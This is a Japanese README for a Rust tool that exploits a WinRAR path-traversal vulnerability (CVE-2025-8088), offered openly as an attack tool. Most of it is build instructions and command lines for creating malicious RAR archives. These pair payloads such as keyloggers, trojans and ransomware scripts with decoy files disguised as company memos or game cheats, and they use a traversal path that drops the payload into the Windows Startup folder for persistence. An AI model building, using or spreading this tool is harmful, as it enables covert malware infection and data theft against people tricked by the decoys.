
WinRAR CVE-2025-8088 エクスプロイトツールの高性能かつメモリ安全な実装です。信頼性とパフォーマンスを向上させるため、Rustで書き直されています。
高度な WinRAR パストラバーサルエクスプロイトツール - Rust で作成
CVE-2025-8088 を利用する WinRAR エクスプロイトツールの高性能かつメモリ安全な実装で、信頼性とパフォーマンスを向上させるために Rust で書き直されました。
# Install Rust using rustup
# Verify installation
rustc --version
cargo --version
# Using vcpkg
vcpkg install gtk:x64-windows
pacman -S mingw-w64-x86_64-gtk4
# Navigate to the rust project
cd winrar_exploit_rust
# Build in debug mode
cargo build
# Build optimized release
cargo build --release
# Run the application
cargo run --release
ペイロードとデコイファイルを使用して簡単なエクスプロイトを作成:
# Create exploit with executable payload
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "exploit.rar"
# Create exploit with script payload
.\winrar_exploit_rust.exe create --payload "C:\malicious.ps1" --decoy "C:\document.pdf" --output "malicious.rar"
# Use multiple decoy files separated by commas
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\photo.jpg,C:\document.pdf,C:\video.mp4" --output "multi_decoy.rar"
# Specify custom directory where payload will be placed
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "custom_drop.rar" --drop_dir "C:\Users\Victim\Desktop"
# Image payload (steganography)
.\winrar_exploit_rust.exe create --payload "C:\malicious.jpg" --decoy "C:\innocent.txt" --output "image_exploit.rar"
# PDF payload
.\winrar_exploit_rust.exe create --payload "C:\trojan.pdf" --decoy "C:\readme.txt" --output "pdf_exploit.rar"
# Batch script payload
.\winrar_exploit_rust.exe create --payload "C:\ransomware.bat" --decoy "C:\instructions.txt" --output "batch_exploit.rar"
# Run system diagnostics to check compatibility
.\winrar_exploit_rust.exe diagnose
# Show available tools and features
.\winrar_exploit_rust.exe tools
# Create a malicious document that looks like a company memo
.\winrar_exploit_rust.exe create --payload "C:\keylogger.exe" --decoy "C:\company_memo.pdf" --output "important_memo.rar"
# Hide malware in a game cheat file
.\winrar_exploit_rust.exe create --payload "C:\trojan.exe" --decoy "C:\game_cheat.txt,C:\screenshot.jpg" --output "cheats.rar"
このツールは、以下の手順でパストラバーサルを使用した RAR アーカイブを作成します:
パス例: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
winrar_exploit_rust/
├── src/
│ ├── main.rs # Application entry point
│ ├── gui.rs # GTK-based user interface
│ ├── exploit.rs # Core exploit logic
│ ├── ads.rs # NTFS ADS manipulation
│ ├── rar.rs # RAR5 header manipulation
│ ├── diagnostics.rs # System diagnostics
│ └── error.rs # Error handling
├── Cargo.toml # Dependencies and build config
└── README.md # This file
このツールには、以下をチェックする自動診断機能が含まれています:
「GTK が見つかりません」
# Install GTK development libraries
# Windows (vcpkg)
vcpkg install gtk:x64-windows
# Or using MSYS2
pacman -S mingw-w64-x86_64-gtk4
「WinRAR CLI が見つかりません」
rar.exe が Program Files にあることを確認「スタートアップディレクトリに書き込めません」
「NTFS ADS がサポートされていません」
コンパイルエラー
# Update Rust toolchain
rustup update
# Clean and rebuild
cargo clean
cargo build --release
# Format code
cargo fmt
# Lint code
cargo clippy
主な依存関係は以下のとおりです:
gtk - モダンな GUI フレームワークtokio - 非同期ランタイムwindows - Windows API バインディングcrc32fast - 高速 CRC32 計算byteorder - バイトオーダー操作anyhow - エラーハンドリングこのプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
Telegram で @kanonufo によって作成
CVE-2025-8088 エクスプロイト用の高性能レッドチームツール - Rust 版